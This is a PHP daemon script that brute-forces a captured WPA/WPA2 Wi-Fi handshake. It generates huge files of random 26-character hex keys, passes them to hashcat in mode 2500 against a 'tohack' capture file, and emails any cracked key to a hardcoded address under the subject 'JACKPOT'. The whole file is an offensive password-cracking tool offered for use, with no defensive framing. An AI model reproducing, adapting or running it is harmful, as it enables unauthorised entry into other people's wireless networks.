#!/usr/bin/php -q
<?php
set_time_limit(0);
ob_implicit_flush();
declare(ticks = 1);
date_default_timezone_set("Europe/Paris");
error_reporting(-1);
error_reporting(E_ALL);
ini_set('display_errors', '1');
ini_set('display_errors', true);
ini_set('display_startup_errors', true);
$thread_list=array();
define('PATH','/opt/tohack');
$zz=array();
$zz[1]="0123456789ABCDEF";
$zz[2]="ABCDEF0123456789";
$zz[3]="01A23B45C67D89EF";
$zz[4]="5C67D89EF01A23B4";
$zz[5]="E0F1A5C67D8923B4";
$zz[6]="E0F23B41A5C67D89";
$zz[7]="67D8E0F23B41A5C9";
$zz[8]="0F23B467D8E1A5C9";
$zz[9]="467D8E1A0F23B5C9";
passthru("rm /opt/tohack/tmp/*.txt");
function kodex_random_string($length){
	global $zz;
    $chars = $zz[mt_rand(1,9)];
    $string = '';
    for($i=0; $i<$length; $i++){
        $string .= $chars[mt_rand(0, strlen($chars)-1)];
    }
    return $string;
}

//-----------------------------------------------------------------------------
class Thread {
    const FUNCTION_NOT_CALLABLE     = 10;
    const COULD_NOT_FORK            = 15;
    private $errors = array(
        Thread::FUNCTION_NOT_CALLABLE   => 'ERROR : No valid function given to THREAD function...',
        Thread::COULD_NOT_FORK          => 'ERROR : Fork process failed...',
    );
    protected $runnable;
    private $pid;
	//--------------------------------------------
    public static function available() {
        $required_functions = array(
            'pcntl_fork',
        );
        
        foreach( $required_functions as $function ) {
            if ( !function_exists( $function ) ) {
                return false;
            }
        }
        
        return true;
    }
	//-------------------------------------------------
    public function __construct( $_runnable = null ) {
    	if( $_runnable !== null ) {
        	$this->setRunnable( $_runnable );
    	}
    }
    //-------------------------------------------------
    public function setRunnable( $_runnable ) {
        if( self::runnableOk( $_runnable ) ) {
            $this->runnable = $_runnable;
        }
        else {
            throw new Exception( $this->getError( Thread::FUNCTION_NOT_CALLABLE ), Thread::FUNCTION_NOT_CALLABLE );
        }
    }
	//-------------------------------------------------
    public function getRunnable() {
        return $this->runnable;
    }
	//--------------------------------------------------
    public static function runnableOk( $_runnable ) {
        return ( function_exists( $_runnable ) && is_callable( $_runnable ) );
    }
	//--------------------------------------------------
    public function getPid() {
        return $this->pid;
    }
	//---------------------------------------------------
    public function isAlive() {
        $pid = pcntl_waitpid( $this->pid, $status, WNOHANG );
        return ( $pid === 0 );
        
    }
	//---------------------------------------------------------
    public function start() {
        $pid = @ pcntl_fork();
        if( $pid == -1 ) {
            throw new Exception( $this->getError( Thread::COULD_NOT_FORK ), Thread::COULD_NOT_FORK );
        }
        if( $pid ) {
            $this->pid = $pid;
        }
        else {
            pcntl_signal( SIGTERM, array( $this, 'signalHandler' ) );
            $arguments = func_get_args();
            if ( !empty( $arguments ) ) {
                call_user_func_array( $this->runnable, $arguments );
            }
            else {
                call_user_func( $this->runnable );
            }
            
            exit( 0 );
        }
    }
	//------------------------------------------------------------------------
    public function stop( $_signal = SIGTERM, $_wait = false ) {
        if( $this->isAlive() ) {
            posix_kill( $this->pid, $_signal );
            if( $_wait ) {
                pcntl_waitpid( $this->pid, $status = 0 );
            }
        }
    }
	//------------------------------------------------------------------------
    public function kill( $_signal = SIGKILL, $_wait = false ) {
        posix_kill( $this->pid, $_signal );
    }
    //------------------------------------------------------------------------
    public function getError( $_code ) {
        if ( isset( $this->errors[$_code] ) ) {
            return $this->errors[$_code];
        }
        else {
            return "error " . $_code;
        }
    }
	//--------------------------------------------------------------------------
    protected function signalHandler( $_signal ) {
        switch( $_signal ) {
            case SIGTERM:
                echo "SIGTERM via TREAD";
				exit( 0 );
            break;
        }
    }
	//---------------------------------------------------------------------------
}
//-----------------------------------------------------------------------------
//------------------------------------------------------------
function become_daemon() { 

	$pid = pcntl_fork(); 
	if ($pid == -1) { 
		exit(); 
    }
	elseif ($pid) { 
		exit(); 
    }
	else { 
		posix_setsid(); 
		chdir('/'); 
		umask(0); 
		return posix_getpid(); 
    } 
}
//-----------------------------------------------------------
function sig_handler($sig) { 
	global $thread_task;
	global $proc;
    switch($sig) { 
        case SIGTERM:
			logme ("Shutdown via SIGTERM...");
			foreach ($thread_task AS $key=>$value) {
				$value->stop();
			}
			sleep (1);
			logme ("Shutdown Complete turn OFF...");
			exit(0);
		break;
        case SIGINT:
			logme ("Shutdown via SIGKILL...");
			foreach ($thread_task AS $key=>$value) {
				$value->stop();
			}
			sleep (1);
			logme ("Shutdown Complete turn OFF...");
			exit(0);
        break; 		
    } 
}
//-----------------------------------------------------------
function sig_handler_thread($sig) { 
	global $proc;
    switch($sig) { 
        case SIGTERM:
			logme ("thread received SIGTERM");
			if (is_resource($proc)) {
				proc_terminate($proc, 15);
			}
			exit(0);
		break;
        case SIGINT:
			logme ("thread received SIGINT");
			if (is_resource($proc)) {
				proc_terminate($proc, 15);
			}
			exit(0);
        break; 
    } 
}
//--------------------------------------------------------------------
function thread_generate_random_key() {
	proc_nice(19);
	while (TRUE) {
		$count=0;
		$current_dir = opendir(PATH);
		while($file = readdir($current_dir)) {
			if (!is_dir($file)) {
				$element = pathinfo($file);
				$name = $element['filename'];
				if (substr($name, 0, 4) == "key_") {
					$count++;
				}
			}
		}
		if ($count < 8) {
			$name="key_".time().".txt";
			$file=PATH."/tmp/".$name;
			$nb_key=25000000;
			$b=0;
			$tmp="";
			for ($a=0;$a<$nb_key;$a++) {
				$tmp=$tmp.kodex_random_string(26)."\n";
				$b++;
				if ($b > 2000) {
					file_put_contents ( $file , $tmp, FILE_APPEND );
					$b=0;
					$tmp="";
				}
			}
			file_put_contents ( $file , $tmp, FILE_APPEND );
			rename($file, PATH."/".$name);
		}
		else {
			sleep(5);
		}
		sleep(1);
	}
}
//---------------------------------------------------------------------------------------
function thread_hashcat() {
	proc_nice(19);
	while (TRUE) {
		$current_dir = opendir(PATH);
		while($file = readdir($current_dir)) {
			if (!is_dir($file)) {
				$element = pathinfo($file);
				$name = $element['filename'];
				if (substr($name, 0, 4) == "key_") {
					passthru("/opt/hashcat/hashcat64.bin --force --quiet --potfile-path /opt/tohack/tohack.potfile -m 2500 /opt/tohack/tohack.hccapx ".PATH."/".$file);
					passthru("rm ".PATH."/".$file);
				}
			}
		}
		sleep(1);
	}
}
//---------------------------------------------------------------------------------------
function send_mail($subject, $message) {
	if (isset($subject) AND isset($message)) {
		passthru("echo \"Subject:".trim(system("hostname -f"))." : ".$subject." From: hack@".trim(system("hostname -f"))." ".$message."\" | sendmail -v krok@totalynet.fr");
	}
}
//---------------------------------------------------------------------------------------
function thread_check_pot() {
	while (TRUE) {
		sleep(60);
		$r=file_get_contents("/opt/tohack/tohack.potfile");
		if (strlen($r)>5) {
			send_mail("JACKPOT", $r);
			passthru("kill -KILL -f tohack");
		}
	}
}
//---------------------------------------------------------------------------------------
send_mail("START", "START");
$__parent_pid = become_daemon();
proc_nice(19);
echo "start thread generate\n";
if( ! Thread::available() ) {
    die( 'Threads not supported' );
}
$a=0;
$thread_task_arg = array();
$a++;$thread_task[$a] = new Thread( 'thread_generate_random_key' );$thread_task[$a]->start();
$a++;$thread_task[$a] = new Thread( 'thread_hashcat' );$thread_task[$a]->start();
$a++;$thread_task[$a] = new Thread( 'thread_check_pot' );$thread_task[$a]->start();

sleep(20);
$a++;$thread_task[$a] = new Thread( 'thread_generate_random_key' );$thread_task[$a]->start();
pcntl_signal(SIGTERM, 'sig_handler'); 
pcntl_signal(SIGINT, 'sig_handler');
pcntl_signal(SIGCHLD, SIG_IGN);
//---------------------Debut du programme watchdog------------------------------
while (TRUE) {
	sleep (5);
	foreach ($thread_task AS $key => $value) {
		if (!$thread_task[$key]->isAlive()) {
			if (isset($thread_task_arg[$key])) {
				$thread_task[$key]->start($thread_task_arg[$key]);
			}
			else {
				$thread_task[$key]->start();
			}
		}
		sleep(1);
	}
}
?>